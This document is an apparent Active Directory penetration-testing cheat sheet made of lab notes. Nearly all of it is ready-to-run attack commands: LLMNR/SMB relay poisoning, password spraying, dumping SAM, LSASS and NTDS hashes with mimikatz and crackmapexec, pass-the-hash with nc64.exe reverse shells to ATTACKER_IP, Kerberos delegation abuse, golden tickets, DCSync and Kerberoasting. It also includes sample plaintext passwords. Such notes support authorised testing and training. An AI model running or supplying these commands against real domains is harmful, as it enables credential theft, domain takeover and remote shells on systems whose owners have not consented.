Initial Foot-printing

LLMNR / NBT-NS Poisoning

To run responder tool to catch hashes:

```
sudo responder -I eth0
```

To use hashcat for crack NTLM hashes:

```
hashcat -m 5600 hashes.txt /usr/share/wordlists/rockyou.txt
```

Password-Spray

To use kerbrute tool for passwordspray:

```
./kerbrute_linux_amd64 passwordspray --dc 192.168.68.132 -d GEMY.local
users.txt Password123!
```

SMB-Relay

To use ntlmrelayx tool to extract hashes:

Nmap scan to check for smb :

```
nmap --script=smb2-security-mode -p445 -Pn 192.168.68.134
```

responder
-open responder.conf, SMB,HTTP : set to off

```
sudo responder -I eth0
```

ntlmrelayx tool:

```
python3 ntlmrelayx.py -tf target.txt -smb2support  //target include #DC-IP
```

use -i to open a shell like PTH attack:

```
python3 ntlmrelayx.py -tf target.txt -smb2support -i
```

in another tab,

```
nc 127.0.0.1:11000
```

Dump Windows Password Hashes

Dump Hashes from machine

```
crackmapexec smb MACHINE-IP -u 'username' -p 'password' --sam
```

Scenario to Dump Credentials

run mitm6 to listen for the domain logins:

```
python3 mitm6.py -d GEMY.local
```

run ntlmrelayx to escalate user privilege to EnterpriseAdmin;

```
python3 ntlmrelayx.py -6 -t ldaps://TARGET-IP -wh fakewpad.Domain.local -l
lootme3 --escalate-user username
```

use crackmapexec to dump ntds database file:

```
crackmapexec smb Target-IP -u 'username' -p 'password' --ntds drsuapi
```

Enumeration

SharpHound

install https://github.com/BloodHoundAD/BloodHound/tree/master , then run SharpHound in Collector file.

or use

```
SharpHound.exe --CollectionMethod All
```

BloodHound

To start bloodhound gui:

```
sudo neo4j console
// Credientials
neo4j:#Ahmed01*
```

To load the file from the win machine to kali use scp:
first open ssh with the win machine,

```
ssh username@MACHINE-IP
scp 20240114183907_BloodHound.zip kali@192.168.68.128:/home/kali/Desktop
```

Lateral Movement

PTH from linux

After getting the hash from ntlmrelayx script, use
note: the hash is the second part of the result hash.

```
crackmapexec smb 192.168.68.0/24 -u username -H Hash -x "Exploit"
//Exploit is Powershell Encoder tool exploit, put ur IP&Port listener
//in kali, open terminal metasploit
msfconsole
use exploit/multi/handler
set lhost
set lport
// to listen for a shell
```

Another way using wmiexec.py

```
python3 wmiexec.py -hashes hash domain/Administrator@MACHINE-IP -codec cp949
```

or

```
python3 psexec.py -hashes hash domain/Administrator@MACHINE-IP cmd.exe
chcp 65001
```

Mimikatz from meterpreter

After opening meterpreter session

```
getuid
getsystem
getuid
sysinfo
####################
load mimikatz
help mimikatz
mimikatz_command -f version
mimikatz_command -f fu::
mimikatz_command -f divers::
msv
kerberos
mimikatz_command -f samdump::hashes
mimikatz_command -f sekurlsa::searchPasswords
mimikatz_command -f handle::
mimikatz_command -f handle::list
mimikatz_command -f service::
mimikatz_command -f service::list
mimikatz_command -f crypto::
mimikatz_command -f crypto::listProviders

// https://www.offsec.com/metasploit-unleashed/mimikatz/
```

```
load kiwi
creds_all
lsa_dump_secrets
```

Mimikatz

Extract NTLM Hashes from local SAM

```
privilege::debug
token::elevate
lsadump::sam
```

Extract NTLM Hashes from LSASS memory

```
privilege::debug
token::elevate
sekurlsa::msv
```

Dump Protected LSASS memory

```
sekurlsa::logonpasswords
processprotect /process:lsass.exe /remove
sekurlsa::logonpasswords
```

Credential Manager

```
privilege::debug
sekurlsa::credman
```

Extract Tickets from LSASS memory

```
privilege::debug
sekurlsa::tickets /export
```

Extract Keys from memory

```
privilege::debug
sekurlsa::ekeys
```

PTH

```
token::revert
sekurlsa::pth /user:fcastle /domain:GEMY.local
/ntlm:2b576acbe6bcfda7294d6bd18041b8fe /run:"c:\tools\nc64.exe -e cmd.exe
ATTACKER_IP 5555"
// To receive the reverse shell
nc -lvp 5555
```

PTT

```
kerberos::ptt ticket_name
// To check if the tickets were correctly injected
kerberos::list
```

PTK (Over Pass-The-Hash)

```
// If we have the RC4 hash:
sekurlsa::pth /user:Administrator /domain:za.tryhackme.com
/rc4:96ea24eff4dff1fbe13818fbf12ea7d8 /run:"c:\tools\nc64.exe -e cmd.exe
ATTACKER_IP 5556"
// If we have the AES128 hash:
sekurlsa::pth /user:Administrator /domain:za.tryhackme.com
/aes128:b65ea8151f13a31d01377f5934bf3883 /run:"c:\tools\nc64.exe -e cmd.exe
ATTACKER_IP 5556"
// If we have the AES256 hash:
sekurlsa::pth /user:Administrator /domain:za.tryhackme.com
/aes256:b54259bbff03af8d37a138c375e29254a2ca0649337cc4c73addcd696b4cdb 65
/run:"c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 5556"
// To receive the reverse shell
nc -lvp 5556
```

Pivoting

Socat

```
// You need to connect RDP to Target-machine on port 3389
// from the middle machine, listen to 13389 to access from Attacker-machine
```

```
socat TCP4-LISTEN:13389,fork TCP4:THMIIS.za.tryhackme.com:3389
// The fork option allows socat to fork a new process for each connection
received, making it possible to handle multiple connections without closing.
// from Attacker-machine RDP the middle machine to access Target-machine
xfreerdp /v:THMJMP2.za.tryhackme.com:13389 /u:t1_thomas.moore /p:MyPazzw3rd2020
```

Exploitation

Kerberos Delegation

Unconstrained

First Enumerate for delegations [TrustedToAuthForDelegation]

```
python3 findDelegation.py GEMY.local/fcastle:'Password123!' -dc-ip
192.168.68.132
```

Dump tickets for DA or Administrator

```
privilege::debug
sekurlsa::tickets /export
```

PTT

```
kerberos::ptt ticket_name
// To check if the tickets were correctly injected
kerberos::list
```

Constrained

First Enumerate for delegations [msds-AllowedToDelegateTo]

```
python3 findDelegation.py GEMY.local/fcastle:'Password123!' -dc-ip
192.168.68.132
```

Use Rubeus to create rc4_hmac

```
Rubeus.exe hash /user:username /password:password /domain:domain.local
```

Ask for TGS to delegate

```
Rubeus.exe s4u /user:username /rc4:X /impersonateuser:Administrator
/domain:domain.local /msdsspn:SQLService.domain.local /ptt
```

Resource-Based

First Enumerate for delegations [GenericAll-GenericWrite]

```
python3 findDelegation.py GEMY.local/fcastle:'Password123!' -dc-ip
192.168.68.132
```

Then Create fake machine and set property [msds-allowedtoactonbehalfofotheridentity]

```
// Import Powermad and use it to create a new MACHINE ACCOUNT
. .\Powermad.ps1
New-MachineAccount -MachineAccount <MachineAccountName> -Password $(ConvertTo-
SecureString 'p@ssword!' -AsPlainText -Force) -Verbose

// Import PowerView and get the SID of our new created machine account
. .\PowerView.ps1
$ComputerSid = Get-DomainComputer <MachineAccountName> -Properties objectsid |
Select -Expand objectsid

// Then by using the SID we are going to build an ACE for the new created
machine account using a raw security descriptor:
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList
"O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSid))"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)

// Next, we need to set the security descriptor in the msDS-
AllowedToActOnBehalfOfOtherIdentity field of the computer account we're taking
over, again using PowerView
Get-DomainComputer TargetMachine | Set-DomainObject -Set @{'msds-
```

```
allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose

//After using Rubues, Finally we can access the C$ drive of the target machine
dir \\TargetMachine.wtver.domain\C$
```

Use Rubeus to create rc4_hmac

```
Rubeus.exe hash /user:username /password:password /domain:domain.local
```

Ask for TGS to delegate

```
Rubeus.exe s4u /user:username /rc4:X /impersonateuser:Administrator
/domain:domain.local /msdsspn:SQLService.domain.local /ptt
```

Golden Ticket

First you need to know 4 things

- Administrator name
- Administrator SID
- Domain name
- krbtgt hash
  then,
  use wmiexec.py to log as Administrator to know the SID

```
python3 wmiexec.py -hashes hash domain/Administrator@MACHINE-IP -codec cp949
whoami /user
```

then, use psexec to login to machine has mimikatz with administration privilege

```
python3 psexec.py -hashes hash domain/Administrator@MACHINE-IP cmd.exe
chcp 65001
```

after opening mimikatz, to create the golden ticket

```
kerberos::golden /admin:administrator /domain:GEMY.local /sid:X /krbtgt:X
/ticket:GEMY_golden.tckt
```

```
// use klist to check if the ticket inserted.
kerberos::list
```

DCsync

Use Crackmapexec

```
crackmapexec smb 192.168.68.132 -u 'SQLService' -p 'Password123!' --ntds
drsuapi
```

or secretdump.py

```
python3 secretsdump.py domain.local/Administrator:'Password123!'@DC-IP -just-dc
```

or

```
python3 secretsdump.py -ntds C:\Windows\NTDS\ntds.dit -system
C:\Windows\System32\Config\system -dc-ip DC-IP
domain.local/username:password@Target-IP
```

From mimikatz

```
lsadump::dcsync
```

Kerberoasting

use GetUserSPNs.py to search for SPN users

```
// First Enumerate for SPN
python3 GetUserSPNs.py -dc-ip 192.168.68.132 GEMY.local/fcastle -hashes
// Request SPN Ticket
python3 GetUserSPNs.py -dc-ip 192.168.68.132 GEMY.local/fcastle -hashes  -
request
// Use hashcat for cracking ticket
hashcat -m 13100 "ticket" /usr/share/wordlists/rockyou.txt
// Use crackmapexec to dump ntds file hashes
```

```
crackmapexec smb 192.168.68.132 -u 'SQLService' -p 'Password123!' --ntds
drsuapi
```

ASREP-ROASTING

use GetNPUsers.py to search for user with NotRequireKerberosPreAuth flag

```
python3 GetNPUsers.py domain.local/ -dc-ip DC-IP -usersfile users.txt
// use hashcat to crack the hash
hashcat -m 18200 hashes.txt /use/share/wordlists/rockyou.txt
```